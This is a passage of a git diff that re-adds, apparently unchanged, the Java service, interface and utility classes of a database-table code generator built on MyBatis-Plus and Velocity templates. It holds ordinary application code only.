GenTableColumn::getColumnName); - - List dbTableColumns = SpringUtils.getAopProxy(this).selectDbTableColumnsByName(table.getTableName(), table.getDataName()); - if (CollUtil.isEmpty(dbTableColumns)) { - throw new ServiceException("同步数据失败,原表结构不存在"); - } - List dbTableColumnNames = StreamUtils.toList(dbTableColumns, GenTableColumn::getColumnName); - - List saveColumns = new ArrayList<>(); - dbTableColumns.forEach(column -> { - GenUtils.initColumnField(column, table); - if (tableColumnMap.containsKey(column.getColumnName())) { - GenTableColumn prevColumn = tableColumnMap.get(column.getColumnName()); - column.setColumnId(prevColumn.getColumnId()); - if (column.isList()) { - // 如果是列表,继续保留查询方式/字典类型选项 - column.setDictType(prevColumn.getDictType()); - column.setQueryType(prevColumn.getQueryType()); - } - if (StringUtils.isNotEmpty(prevColumn.getIsRequired()) && !column.isPk() - && (column.isInsert() || column.isEdit()) - && ((column.isUsableColumn()) || (!column.isSuperColumn()))) { - // 如果是(新增/修改&非主键/非忽略及父属性),继续保留必填/显示类型选项 - column.setIsRequired(prevColumn.getIsRequired()); - column.setHtmlType(prevColumn.getHtmlType()); - } - } - saveColumns.add(column); - }); - if (CollUtil.isNotEmpty(saveColumns)) { - genTableColumnMapper.insertOrUpdateBatch(saveColumns); - } - List delColumns = StreamUtils.filter(tableColumns, column -> !dbTableColumnNames.contains(column.getColumnName())); - if (CollUtil.isNotEmpty(delColumns)) { - List ids = StreamUtils.toList(delColumns, GenTableColumn::getColumnId); - if (CollUtil.isNotEmpty(ids)) { - genTableColumnMapper.deleteByIds(ids); - } - } - } - - /** - * 批量生成代码(下载方式) - * - * @param tableIds 表ID数组 - * @return 数据 - */ - @Override - public byte[] downloadCode(String[] tableIds) { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - ZipOutputStream zip = new ZipOutputStream(outputStream); - for (String tableId : tableIds) { - generatorCode(Long.parseLong(tableId), zip); - } - IoUtil.close(zip); - return outputStream.toByteArray(); - } - - /** - * 查询表信息并生成代码 - */ - private void generatorCode(Long tableId, ZipOutputStream zip) { - // 查询表信息 - GenTable table = baseMapper.selectGenTableById(tableId); - List menuIds = new ArrayList<>(); - for (int i = 0; i < 6; i++) { - menuIds.add(identifierGenerator.nextId(null).longValue()); - } - table.setMenuIds(menuIds); - // 设置主键列信息 - setPkColumn(table); - - VelocityInitializer.initVelocity(); - - VelocityContext context = VelocityUtils.prepareContext(table); - - // 获取模板列表 - List templates = VelocityUtils.getTemplateList(table.getTplCategory()); - for (String template : templates) { - // 渲染模板 - StringWriter sw = new StringWriter(); - Template tpl = Velocity.getTemplate(template, Constants.UTF8); - tpl.merge(context, sw); - try { - // 添加到zip - zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table))); - IoUtil.write(zip, StandardCharsets.UTF_8, false, sw.toString()); - IoUtil.close(sw); - zip.flush(); - zip.closeEntry(); - } catch (IOException e) { - log.error("渲染模板失败,表名:" + table.getTableName(), e); - } - } - } - - /** - * 修改保存参数校验 - * - * @param genTable 业务信息 - */ - @Override - public void validateEdit(GenTable genTable) { - if (GenConstants.TPL_TREE.equals(genTable.getTplCategory())) { - String options = JsonUtils.toJsonString(genTable.getParams()); - Dict paramsObj = JsonUtils.parseMap(options); - if (StringUtils.isEmpty(paramsObj.getStr(GenConstants.TREE_CODE))) { - throw new ServiceException("树编码字段不能为空"); - } else if (StringUtils.isEmpty(paramsObj.getStr(GenConstants.TREE_PARENT_CODE))) { - throw new ServiceException("树父编码字段不能为空"); - } else if (StringUtils.isEmpty(paramsObj.getStr(GenConstants.TREE_NAME))) { - throw new ServiceException("树名称字段不能为空"); - } - } - } - - /** - * 设置主键列信息 - * - * @param table 业务表信息 - */ - public void setPkColumn(GenTable table) { - for (GenTableColumn column : table.getColumns()) { - if (column.isPk()) { - table.setPkColumn(column); - break; - } - } - if (ObjectUtil.isNull(table.getPkColumn())) { - table.setPkColumn(table.getColumns().get(0)); - } - - } - - /** - * 设置代码生成其他选项值 - * - * @param genTable 设置后的生成对象 - */ - public void setTableFromOptions(GenTable genTable) { - Dict paramsObj = JsonUtils.parseMap(genTable.getOptions()); - if (ObjectUtil.isNotNull(paramsObj)) { - String treeCode = paramsObj.getStr(GenConstants.TREE_CODE); - String treeParentCode = paramsObj.getStr(GenConstants.TREE_PARENT_CODE); - String treeName = paramsObj.getStr(GenConstants.TREE_NAME); - Long parentMenuId = paramsObj.getLong(GenConstants.PARENT_MENU_ID); - String parentMenuName = paramsObj.getStr(GenConstants.PARENT_MENU_NAME); - - genTable.setTreeCode(treeCode); - genTable.setTreeParentCode(treeParentCode); - genTable.setTreeName(treeName); - genTable.setParentMenuId(parentMenuId); - genTable.setParentMenuName(parentMenuName); - } - } - - /** - * 获取代码生成地址 - * - * @param table 业务表信息 - * @param template 模板文件路径 - * @return 生成地址 - */ - public static String getGenPath(GenTable table, String template) { - String genPath = table.getGenPath(); - if (StringUtils.equals(genPath, "/")) { - return System.getProperty("user.dir") + File.separator + "src" + File.separator + VelocityUtils.getFileName(template, table); - } - return genPath + File.separator + VelocityUtils.getFileName(template, table); - } -} - +package org.dromara.generator.service; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.lang.Dict; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.dynamic.datasource.annotation.DS; +import com.baomidou.dynamic.datasource.annotation.DSTransactional; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.incrementer.IdentifierGenerator; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.anyline.metadata.Column; +import org.anyline.metadata.Table; +import org.anyline.proxy.ServiceProxy; +import org.apache.velocity.Template; +import org.apache.velocity.VelocityContext; +import org.apache.velocity.app.Velocity; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.file.FileUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.generator.constant.GenConstants; +import org.dromara.generator.domain.GenTable; +import org.dromara.generator.domain.GenTableColumn; +import org.dromara.generator.mapper.GenTableColumnMapper; +import org.dromara.generator.mapper.GenTableMapper; +import org.dromara.generator.util.GenUtils; +import org.dromara.generator.util.VelocityInitializer; +import org.dromara.generator.util.VelocityUtils; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.StringWriter; +import java.nio.charset.StandardCharsets; +import java.util.*; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +/** + * 业务 服务层实现 + * + * @author Lion Li + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class GenTableServiceImpl implements IGenTableService { + + private final GenTableMapper baseMapper; + private final GenTableColumnMapper genTableColumnMapper; + private final IdentifierGenerator identifierGenerator; + + private static final String[] TABLE_IGNORE = new String[]{"sj_", "act_", "flw_", "gen_"}; + + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + @Override + public List selectGenTableColumnListByTableId(Long tableId) { + return genTableColumnMapper.selectList(new LambdaQueryWrapper() + .eq(GenTableColumn::getTableId, tableId) + .orderByAsc(GenTableColumn::getSort)); + } + + /** + * 查询业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + @Override + public GenTable selectGenTableById(Long id) { + GenTable genTable = baseMapper.selectGenTableById(id); + setTableFromOptions(genTable); + return genTable; + } + + @Override + public TableDataInfo selectPageGenTableList(GenTable genTable, PageQuery pageQuery) { + Page page = baseMapper.selectPage(pageQuery.build(), this.buildGenTableQueryWrapper(genTable)); + return TableDataInfo.build(page); + } + + private QueryWrapper buildGenTableQueryWrapper(GenTable genTable) { + Map params = genTable.getParams(); + QueryWrapper wrapper = Wrappers.query(); + wrapper + .eq(StringUtils.isNotEmpty(genTable.getDataName()), "data_name", genTable.getDataName()) + .like(StringUtils.isNotBlank(genTable.getTableName()), "lower(table_name)", StringUtils.lowerCase(genTable.getTableName())) + .like(StringUtils.isNotBlank(genTable.getTableComment()), "lower(table_comment)", StringUtils.lowerCase(genTable.getTableComment())) + .between(params.get("beginTime") != null && params.get("endTime") != null, + "create_time", params.get("beginTime"), params.get("endTime")) + .orderByDesc("update_time"); + return wrapper; + } + + /** + * 查询数据库列表 + * + * @param genTable 包含查询条件的GenTable对象 + * @param pageQuery 包含分页信息的PageQuery对象 + * @return 包含分页结果的TableDataInfo对象 + */ + @DS("#genTable.dataName") + @Override + public TableDataInfo selectPageDbTableList(GenTable genTable, PageQuery pageQuery) { + // 获取查询条件 + String tableName = genTable.getTableName(); + String tableComment = genTable.getTableComment(); + + LinkedHashMap> tablesMap = ServiceProxy.metadata().tables(); + if (CollUtil.isEmpty(tablesMap)) { + return TableDataInfo.build(); + } + List tableNames = baseMapper.selectTableNameList(genTable.getDataName()); + String[] tableArrays; + if (CollUtil.isNotEmpty(tableNames)) { + tableArrays = tableNames.toArray(new String[0]); + } else { + tableArrays = new String[0]; + } + // 过滤并转换表格数据 + List tables = tablesMap.values().stream() + .filter(x -> !startWithAnyIgnoreCase(x.getName(), TABLE_IGNORE)) + .filter(x -> { + if (CollUtil.isEmpty(tableNames)) { + return true; + } + return !StringUtils.equalsAnyIgnoreCase(x.getName(), tableArrays); + }) + .filter(x -> { + boolean nameMatches = true; + boolean commentMatches = true; + // 进行表名称的模糊查询 + if (StringUtils.isNotBlank(tableName)) { + nameMatches = StringUtils.containsIgnoreCase(x.getName(), tableName); + } + // 进行表描述的模糊查询 + if (StringUtils.isNotBlank(tableComment)) { + commentMatches = StringUtils.containsIgnoreCase(x.getComment(), tableComment); + } + // 同时匹配名称和描述 + return nameMatches && commentMatches; + }) + .map(x -> { + GenTable gen = new GenTable(); + gen.setTableName(x.getName()); + gen.setTableComment(x.getComment()); + gen.setCreateTime(x.getCreateTime()); + gen.setUpdateTime(x.getUpdateTime()); + return gen; + }).sorted(Comparator.comparing(GenTable::getCreateTime).reversed()) + .toList(); + + IPage page = pageQuery.build(); + page.setTotal(tables.size()); + // 手动分页 set数据 + page.setRecords(CollUtil.page((int) page.getCurrent() - 1, (int) page.getSize(), tables)); + return TableDataInfo.build(page); + } + + public static boolean startWithAnyIgnoreCase(CharSequence cs, CharSequence... searchCharSequences) { + // 判断是否是以指定字符串开头 + for (CharSequence searchCharSequence : searchCharSequences) { + if (StringUtils.startsWithIgnoreCase(cs, searchCharSequence)) { + return true; + } + } + return false; + } + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @param dataName 数据源名称 + * @return 数据库表集合 + */ + @DS("#dataName") + @Override + public List selectDbTableListByNames(String[] tableNames, String dataName) { + Set tableNameSet = new HashSet<>(List.of(tableNames)); + LinkedHashMap> tablesMap = ServiceProxy.metadata().tables(); + + if (CollUtil.isEmpty(tablesMap)) { + return new ArrayList<>(); + } + + List> tableList = tablesMap.values().stream() + .filter(x -> !startWithAnyIgnoreCase(x.getName(), TABLE_IGNORE)) + .filter(x -> tableNameSet.contains(x.getName())).toList(); + + if (CollUtil.isEmpty(tableList)) { + return new ArrayList<>(); + } + return tableList.stream().map(x -> { + GenTable gen = new GenTable(); + gen.setDataName(dataName); + gen.setTableName(x.getName()); + gen.setTableComment(x.getComment()); + gen.setCreateTime(x.getCreateTime()); + gen.setUpdateTime(x.getUpdateTime()); + return gen; + }).toList(); + } + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + @Override + public List selectGenTableAll() { + return baseMapper.selectGenTableAll(); + } + + /** + * 修改业务 + * + * @param genTable 业务信息 + */ + @Transactional(rollbackFor = Exception.class) + @Override + public void updateGenTable(GenTable genTable) { + String options = JsonUtils.toJsonString(genTable.getParams()); + genTable.setOptions(options); + int row = baseMapper.updateById(genTable); + if (row > 0) { + for (GenTableColumn cenTableColumn : genTable.getColumns()) { + genTableColumnMapper.updateById(cenTableColumn); + } + } + } + + /** + * 删除业务对象 + * + * @param tableIds 需要删除的数据ID + */ + @Transactional(rollbackFor = Exception.class) + @Override + public void deleteGenTableByIds(Long[] tableIds) { + List ids = Arrays.asList(tableIds); + baseMapper.deleteByIds(ids); + genTableColumnMapper.delete(new LambdaQueryWrapper().in(GenTableColumn::getTableId, ids)); + } + + /** + * 导入表结构 + * + * @param tableList 导入表列表 + * @param dataName 数据源名称 + */ + @DSTransactional + @Override + public void importGenTable(List tableList, String dataName) { + try { + for (GenTable table : tableList) { + String tableName = table.getTableName(); + GenUtils.initTable(table); + table.setDataName(dataName); + int row = baseMapper.insert(table); + if (row > 0) { + // 保存列信息 + List genTableColumns = SpringUtils.getAopProxy(this).selectDbTableColumnsByName(tableName, dataName); + List saveColumns = new ArrayList<>(); + for (GenTableColumn column : genTableColumns) { + GenUtils.initColumnField(column, table); + saveColumns.add(column); + } + if (CollUtil.isNotEmpty(saveColumns)) { + genTableColumnMapper.insertBatch(saveColumns); + } + } + } + } catch (Exception e) { + throw new ServiceException("导入失败:" + e.getMessage()); + } + } + + /** + * 根据表名称查询列信息 + * + * @param tableName 表名称 + * @param dataName 数据源名称 + * @return 列信息 + */ + @DS("#dataName") + @Override + public List selectDbTableColumnsByName(String tableName, String dataName) { + Table table = ServiceProxy.metadata().table(tableName); + if (ObjectUtil.isNull(table)) { + return new ArrayList<>(); + } + LinkedHashMap columns = table.getColumns(); + List tableColumns = new ArrayList<>(); + columns.forEach((columnName, column) -> { + GenTableColumn tableColumn = new GenTableColumn(); + tableColumn.setIsPk(String.valueOf(column.isPrimaryKey())); + tableColumn.setColumnName(column.getName()); + tableColumn.setColumnComment(column.getComment()); + tableColumn.setColumnType(column.getOriginType().toLowerCase()); + tableColumn.setSort(column.getPosition()); + tableColumn.setIsRequired(column.isNullable() == 0 ? "1" : "0"); + tableColumn.setIsIncrement(column.isAutoIncrement() == -1 ? "0" : "1"); + tableColumns.add(tableColumn); + }); + return tableColumns; + } + + /** + * 预览代码 + * + * @param tableId 表编号 + * @return 预览数据列表 + */ + @Override + public Map previewCode(Long tableId) { + Map dataMap = new LinkedHashMap<>(); + // 查询表信息 + GenTable table = baseMapper.selectGenTableById(tableId); + List menuIds = new ArrayList<>(); + for (int i = 0; i < 6; i++) { + menuIds.add(identifierGenerator.nextId(null).longValue()); + } + table.setMenuIds(menuIds); + // 设置主键列信息 + setPkColumn(table); + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + dataMap.put(template, sw.toString()); + } + return dataMap; + } + + /** + * 生成代码(下载方式) + * + * @param tableId 表名称 + * @return 数据 + */ + @Override + public byte[] downloadCode(Long tableId) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ZipOutputStream zip = new ZipOutputStream(outputStream); + generatorCode(tableId, zip); + IoUtil.close(zip); + return outputStream.toByteArray(); + } + + /** + * 生成代码(自定义路径) + * + * @param tableId 表名称 + */ + @Override + public void generatorCode(Long tableId) { + // 查询表信息 + GenTable table = baseMapper.selectGenTableById(tableId); + // 设置主键列信息 + setPkColumn(table); + + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) { + if (!StringUtils.containsAny(template, "sql.vm", "api.ts.vm", "types.ts.vm", "index.vue.vm", "index-tree.vue.vm")) { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + try { + String path = getGenPath(table, template); + FileUtils.writeUtf8String(sw.toString(), path); + } catch (Exception e) { + throw new ServiceException("渲染模板失败,表名:" + table.getTableName()); + } + } + } + } + + /** + * 同步数据库 + * + * @param tableId 表名称 + */ + @DSTransactional + @Override + public void synchDb(Long tableId) { + GenTable table = baseMapper.selectGenTableById(tableId); + List tableColumns = table.getColumns(); + Map tableColumnMap = StreamUtils.toIdentityMap(tableColumns, GenTableColumn::getColumnName); + + List dbTableColumns = SpringUtils.getAopProxy(this).selectDbTableColumnsByName(table.getTableName(), table.getDataName()); + if (CollUtil.isEmpty(dbTableColumns)) { + throw new ServiceException("同步数据失败,原表结构不存在"); + } + List dbTableColumnNames = StreamUtils.toList(dbTableColumns, GenTableColumn::getColumnName); + + List saveColumns = new ArrayList<>(); + dbTableColumns.forEach(column -> { + GenUtils.initColumnField(column, table); + if (tableColumnMap.containsKey(column.getColumnName())) { + GenTableColumn prevColumn = tableColumnMap.get(column.getColumnName()); + column.setColumnId(prevColumn.getColumnId()); + if (column.isList()) { + // 如果是列表,继续保留查询方式/字典类型选项 + column.setDictType(prevColumn.getDictType()); + column.setQueryType(prevColumn.getQueryType()); + } + if (StringUtils.isNotEmpty(prevColumn.getIsRequired()) && !column.isPk() + && (column.isInsert() || column.isEdit()) + && ((column.isUsableColumn()) || (!column.isSuperColumn()))) { + // 如果是(新增/修改&非主键/非忽略及父属性),继续保留必填/显示类型选项 + column.setIsRequired(prevColumn.getIsRequired()); + column.setHtmlType(prevColumn.getHtmlType()); + } + } + saveColumns.add(column); + }); + if (CollUtil.isNotEmpty(saveColumns)) { + genTableColumnMapper.insertOrUpdateBatch(saveColumns); + } + List delColumns = StreamUtils.filter(tableColumns, column -> !dbTableColumnNames.contains(column.getColumnName())); + if (CollUtil.isNotEmpty(delColumns)) { + List ids = StreamUtils.toList(delColumns, GenTableColumn::getColumnId); + if (CollUtil.isNotEmpty(ids)) { + genTableColumnMapper.deleteByIds(ids); + } + } + } + + /** + * 批量生成代码(下载方式) + * + * @param tableIds 表ID数组 + * @return 数据 + */ + @Override + public byte[] downloadCode(String[] tableIds) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ZipOutputStream zip = new ZipOutputStream(outputStream); + for (String tableId : tableIds) { + generatorCode(Long.parseLong(tableId), zip); + } + IoUtil.close(zip); + return outputStream.toByteArray(); + } + + /** + * 查询表信息并生成代码 + */ + private void generatorCode(Long tableId, ZipOutputStream zip) { + // 查询表信息 + GenTable table = baseMapper.selectGenTableById(tableId); + List menuIds = new ArrayList<>(); + for (int i = 0; i < 6; i++) { + menuIds.add(identifierGenerator.nextId(null).longValue()); + } + table.setMenuIds(menuIds); + // 设置主键列信息 + setPkColumn(table); + + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + try { + // 添加到zip + zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table))); + IoUtil.write(zip, StandardCharsets.UTF_8, false, sw.toString()); + IoUtil.close(sw); + zip.flush(); + zip.closeEntry(); + } catch (IOException e) { + log.error("渲染模板失败,表名:" + table.getTableName(), e); + } + } + } + + /** + * 修改保存参数校验 + * + * @param genTable 业务信息 + */ + @Override + public void validateEdit(GenTable genTable) { + if (GenConstants.TPL_TREE.equals(genTable.getTplCategory())) { + String options = JsonUtils.toJsonString(genTable.getParams()); + Dict paramsObj = JsonUtils.parseMap(options); + if (StringUtils.isEmpty(paramsObj.getStr(GenConstants.TREE_CODE))) { + throw new ServiceException("树编码字段不能为空"); + } else if (StringUtils.isEmpty(paramsObj.getStr(GenConstants.TREE_PARENT_CODE))) { + throw new ServiceException("树父编码字段不能为空"); + } else if (StringUtils.isEmpty(paramsObj.getStr(GenConstants.TREE_NAME))) { + throw new ServiceException("树名称字段不能为空"); + } + } + } + + /** + * 设置主键列信息 + * + * @param table 业务表信息 + */ + public void setPkColumn(GenTable table) { + for (GenTableColumn column : table.getColumns()) { + if (column.isPk()) { + table.setPkColumn(column); + break; + } + } + if (ObjectUtil.isNull(table.getPkColumn())) { + table.setPkColumn(table.getColumns().get(0)); + } + + } + + /** + * 设置代码生成其他选项值 + * + * @param genTable 设置后的生成对象 + */ + public void setTableFromOptions(GenTable genTable) { + Dict paramsObj = JsonUtils.parseMap(genTable.getOptions()); + if (ObjectUtil.isNotNull(paramsObj)) { + String treeCode = paramsObj.getStr(GenConstants.TREE_CODE); + String treeParentCode = paramsObj.getStr(GenConstants.TREE_PARENT_CODE); + String treeName = paramsObj.getStr(GenConstants.TREE_NAME); + Long parentMenuId = paramsObj.getLong(GenConstants.PARENT_MENU_ID); + String parentMenuName = paramsObj.getStr(GenConstants.PARENT_MENU_NAME); + + genTable.setTreeCode(treeCode); + genTable.setTreeParentCode(treeParentCode); + genTable.setTreeName(treeName); + genTable.setParentMenuId(parentMenuId); + genTable.setParentMenuName(parentMenuName); + } + } + + /** + * 获取代码生成地址 + * + * @param table 业务表信息 + * @param template 模板文件路径 + * @return 生成地址 + */ + public static String getGenPath(GenTable table, String template) { + String genPath = table.getGenPath(); + if (StringUtils.equals(genPath, "/")) { + return System.getProperty("user.dir") + File.separator + "src" + File.separator + VelocityUtils.getFileName(template, table); + } + return genPath + File.separator + VelocityUtils.getFileName(template, table); + } +} + diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/IGenTableService.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/IGenTableService.java index b2c20c5..4cd3892 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/IGenTableService.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/service/IGenTableService.java @@ -1,141 +1,141 @@ -package org.dromara.generator.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.generator.domain.GenTable; -import org.dromara.generator.domain.GenTableColumn; - -import java.util.List; -import java.util.Map; - -/** - * 业务 服务层 - * - * @author Lion Li - */ -public interface IGenTableService { - - /** - * 查询业务字段列表 - * - * @param tableId 业务字段编号 - * @return 业务字段集合 - */ - List selectGenTableColumnListByTableId(Long tableId); - - /** - * 查询业务列表 - * - * @param genTable 业务信息 - * @return 业务集合 - */ - TableDataInfo selectPageGenTableList(GenTable genTable, PageQuery pageQuery); - - /** - * 查询据库列表 - * - * @param genTable 业务信息 - * @return 数据库表集合 - */ - TableDataInfo selectPageDbTableList(GenTable genTable, PageQuery pageQuery); - - /** - * 查询据库列表 - * - * @param tableNames 表名称组 - * @param dataName 数据源名称 - * @return 数据库表集合 - */ - List selectDbTableListByNames(String[] tableNames, String dataName); - - /** - * 查询所有表信息 - * - * @return 表信息集合 - */ - List selectGenTableAll(); - - /** - * 查询业务信息 - * - * @param id 业务ID - * @return 业务信息 - */ - GenTable selectGenTableById(Long id); - - /** - * 修改业务 - * - * @param genTable 业务信息 - */ - void updateGenTable(GenTable genTable); - - /** - * 删除业务信息 - * - * @param tableIds 需要删除的表数据ID - */ - void deleteGenTableByIds(Long[] tableIds); - - /** - * 导入表结构 - * - * @param tableList 导入表列表 - * @param dataName 数据源名称 - */ - void importGenTable(List tableList, String dataName); - - /** - * 根据表名称查询列信息 - * - * @param tableName 表名称 - * @param dataName 数据源名称 - * @return 列信息 - */ - List selectDbTableColumnsByName(String tableName, String dataName); - - /** - * 预览代码 - * - * @param tableId 表编号 - * @return 预览数据列表 - */ - Map previewCode(Long tableId); - - /** - * 生成代码(下载方式) - * - * @param tableId 表名称 - * @return 数据 - */ - byte[] downloadCode(Long tableId); - - /** - * 生成代码(自定义路径) - * - * @param tableId 表名称 - */ - void generatorCode(Long tableId); - - /** - * 同步数据库 - * - * @param tableId 表名称 - */ - void synchDb(Long tableId); - - /** - * 批量生成代码(下载方式) - * - * @param tableIds 表ID数组 - * @return 数据 - */ - byte[] downloadCode(String[] tableIds); - - /** - * 修改保存参数校验 - * - * @param genTable 业务信息 - */ - void validateEdit(GenTable genTable); -} +package org.dromara.generator.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.generator.domain.GenTable; +import org.dromara.generator.domain.GenTableColumn; + +import java.util.List; +import java.util.Map; + +/** + * 业务 服务层 + * + * @author Lion Li + */ +public interface IGenTableService { + + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + List selectGenTableColumnListByTableId(Long tableId); + + /** + * 查询业务列表 + * + * @param genTable 业务信息 + * @return 业务集合 + */ + TableDataInfo selectPageGenTableList(GenTable genTable, PageQuery pageQuery); + + /** + * 查询据库列表 + * + * @param genTable 业务信息 + * @return 数据库表集合 + */ + TableDataInfo selectPageDbTableList(GenTable genTable, PageQuery pageQuery); + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @param dataName 数据源名称 + * @return 数据库表集合 + */ + List selectDbTableListByNames(String[] tableNames, String dataName); + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + List selectGenTableAll(); + + /** + * 查询业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + GenTable selectGenTableById(Long id); + + /** + * 修改业务 + * + * @param genTable 业务信息 + */ + void updateGenTable(GenTable genTable); + + /** + * 删除业务信息 + * + * @param tableIds 需要删除的表数据ID + */ + void deleteGenTableByIds(Long[] tableIds); + + /** + * 导入表结构 + * + * @param tableList 导入表列表 + * @param dataName 数据源名称 + */ + void importGenTable(List tableList, String dataName); + + /** + * 根据表名称查询列信息 + * + * @param tableName 表名称 + * @param dataName 数据源名称 + * @return 列信息 + */ + List selectDbTableColumnsByName(String tableName, String dataName); + + /** + * 预览代码 + * + * @param tableId 表编号 + * @return 预览数据列表 + */ + Map previewCode(Long tableId); + + /** + * 生成代码(下载方式) + * + * @param tableId 表名称 + * @return 数据 + */ + byte[] downloadCode(Long tableId); + + /** + * 生成代码(自定义路径) + * + * @param tableId 表名称 + */ + void generatorCode(Long tableId); + + /** + * 同步数据库 + * + * @param tableId 表名称 + */ + void synchDb(Long tableId); + + /** + * 批量生成代码(下载方式) + * + * @param tableIds 表ID数组 + * @return 数据 + */ + byte[] downloadCode(String[] tableIds); + + /** + * 修改保存参数校验 + * + * @param genTable 业务信息 + */ + void validateEdit(GenTable genTable); +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/GenUtils.java b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/GenUtils.java index 996cf9b..0892fd7 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/GenUtils.java +++ b/ruoyi-modules/ruoyi-generator/src/main/java/org/dromara/generator/util/GenUtils.java @@ -1,219 +1,219 @@ -package org.dromara.generator.util; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.apache.commons.lang3.RegExUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.generator.config.GenConfig; -import org.dromara.generator.constant.GenConstants; -import org.dromara.generator.domain.GenTable; -import org.dromara.generator.domain.GenTableColumn; - -import java.util.Arrays; - -/** - * 代码生成器 工具类 - * - * @author ruoyi - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class GenUtils { - - /** - * 初始化表信息 - */ - public static void initTable(GenTable genTable) { - genTable.setClassName(convertClassName(genTable.getTableName())); - genTable.setPackageName(GenConfig.getPackageName()); - genTable.setModuleName(getModuleName(GenConfig.getPackageName())); - genTable.setBusinessName(getBusinessName(genTable.getTableName())); - genTable.setFunctionName(replaceText(genTable.getTableComment())); - genTable.setFunctionAuthor(GenConfig.getAuthor()); - genTable.setCreateTime(null); - genTable.setUpdateTime(null); - } - - /** - * 初始化列属性字段 - */ - public static void initColumnField(GenTableColumn column, GenTable table) { - String dataType = getDbType(column.getColumnType()); - // 统一转小写 避免有些数据库默认大写问题 如果需要特别书写方式 请在实体类增加注解标注别名 - String columnName = column.getColumnName().toLowerCase(); - column.setTableId(table.getTableId()); - column.setCreateTime(null); - column.setUpdateTime(null); - // 设置java字段名 - column.setJavaField(StringUtils.toCamelCase(columnName)); - // 设置默认类型 - column.setJavaType(GenConstants.TYPE_STRING); - column.setQueryType(GenConstants.QUERY_EQ); - - if (arraysContains(GenConstants.COLUMNTYPE_STR, dataType) || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType)) { - // 字符串长度超过500设置为文本域 - Integer columnLength = getColumnLength(column.getColumnType()); - String htmlType = columnLength >= 500 || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType) ? GenConstants.HTML_TEXTAREA : GenConstants.HTML_INPUT; - column.setHtmlType(htmlType); - } else if (arraysContains(GenConstants.COLUMNTYPE_TIME, dataType)) { - column.setJavaType(GenConstants.TYPE_DATE); - column.setHtmlType(GenConstants.HTML_DATETIME); - } else if (arraysContains(GenConstants.COLUMNTYPE_NUMBER, dataType)) { - column.setHtmlType(GenConstants.HTML_INPUT); - // 数据库的数字字段与java不匹配 且很多数据库的数字字段很模糊 例如oracle只有number没有细分 - // 所以默认数字类型全为Long可在界面上自行编辑想要的类型 有什么特殊需求也可以在这里特殊处理 - column.setJavaType(GenConstants.TYPE_LONG); - } - - // BO对象 默认插入勾选 - if (!arraysContains(GenConstants.COLUMNNAME_NOT_ADD, columnName) && !column.isPk()) { - 